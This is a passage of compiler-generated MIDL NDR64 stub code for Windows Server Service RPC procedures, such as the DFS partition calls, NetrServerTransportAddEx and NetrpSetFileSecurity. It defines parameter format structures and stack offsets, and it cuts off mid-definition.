(NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ShortPrefix */      /* parameter ShortPrefix */\n        &__midl_frag817,\n        { \n        /* ShortPrefix */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag807_t __midl_frag807 =\n{ \n/* Opnum47NotUsedOnWire */\n    { \n    /* Opnum47NotUsedOnWire */      /* procedure Opnum47NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag799_t __midl_frag799 =\n{ \n/* NetrDfsSetLocalVolumeState */\n    { \n    /* NetrDfsSetLocalVolumeState */      /* procedure NetrDfsSetLocalVolumeState */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 80 /* 0x50 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag813,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* State */      /* parameter State */\n        &__midl_frag928,\n        { \n        /* State */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag792_t __midl_frag792 =\n{ \n/* NetrDfsDeleteLocalPartition */\n    { \n    /* NetrDfsDeleteLocalPartition */      /* procedure NetrDfsDeleteLocalPartition */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Uid */      /* parameter Uid */\n        &__midl_frag777,\n        { \n        /* Uid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag813,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag789_t __midl_frag789 =\n{ \n/*  */\n    { \n    /* *_NET_DFS_ENTRY_ID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag784\n    }\n};\n\nstatic const __midl_frag787_t __midl_frag787 =\n{ \n/* _NET_DFS_ENTRY_ID */\n    { \n    /* _NET_DFS_ENTRY_ID */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _NET_DFS_ENTRY_ID */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *WCHAR */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag813\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag785_t __midl_frag785 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag784_t __midl_frag784 =\n{ \n/* *_NET_DFS_ENTRY_ID */\n    { \n    /* *_NET_DFS_ENTRY_ID */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_NET_DFS_ENTRY_ID */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag785\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 16 /* 0x10 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *WCHAR */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag813\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag787\n    }\n};\n\nstatic const __midl_frag783_t __midl_frag783 =\n{ \n/* _NET_DFS_ENTRY_ID_CONTAINER */\n    { \n    /* _NET_DFS_ENTRY_ID_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _NET_DFS_ENTRY_ID_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag789,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag782_t __midl_frag782 =\n{ \n/* *_NET_DFS_ENTRY_ID_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag783\n};\n\nstatic const __midl_frag777_t __midl_frag777 =\n{ \n/* GUID */\n    { \n    /* GUID */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* GUID */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag771_t __midl_frag771 =\n{ \n/* NetrDfsCreateLocalPartition */\n    { \n    /* NetrDfsCreateLocalPartition */      /* procedure NetrDfsCreateLocalPartition */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 80 /* 0x50 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ShareName */      /* parameter ShareName */\n        &__midl_frag813,\n        { \n        /* ShareName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EntryUid */      /* parameter EntryUid */\n        &__midl_frag777,\n        { \n        /* EntryUid */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EntryPrefix */      /* parameter EntryPrefix */\n        &__midl_frag813,\n        { \n        /* EntryPrefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ShortName */      /* parameter ShortName */\n        &__midl_frag813,\n        { \n        /* ShortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* RelationInfo */      /* parameter RelationInfo */\n        &__midl_frag783,\n        { \n        /* RelationInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* Force */      /* parameter Force */\n        &__midl_frag928,\n        { \n        /* Force */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag768_t __midl_frag768 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag765_t __midl_frag765 =\n{ \n/* NetrDfsGetVersion */\n    { \n    /* NetrDfsGetVersion */      /* procedure NetrDfsGetVersion */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Version */      /* parameter Version */\n        &__midl_frag928,\n        { \n        /* Version */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag762_t __midl_frag762 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag761_t __midl_frag761 =\n{ \n/* _TRANSPORT_INFO */\n    { \n    /* _TRANSPORT_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 312 /* 0x138 */,\n        &__midl_frag762,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag561,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag585,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag611,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag760_t __midl_frag760 =\n{ \n/* *_TRANSPORT_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag761\n};\n\nstatic const __midl_frag756_t __midl_frag756 =\n{ \n/* NetrServerTransportAddEx */\n    { \n    /* NetrServerTransportAddEx */      /* procedure NetrServerTransportAddEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag761,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag754_t __midl_frag754 =\n{ \n/* *_ADT_SECURITY_DESCRIPTOR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag740\n};\n\nstatic const __midl_frag746_t __midl_frag746 =\n{ \n/* NetrpSetFileSecurity */\n    { \n    /* NetrpSetFileSecurity */      /* procedure NetrpSetFileSecurity */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ShareName */      /* parameter ShareName */\n        &__midl_frag809,\n        { \n        /* ShareName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* lpFileName 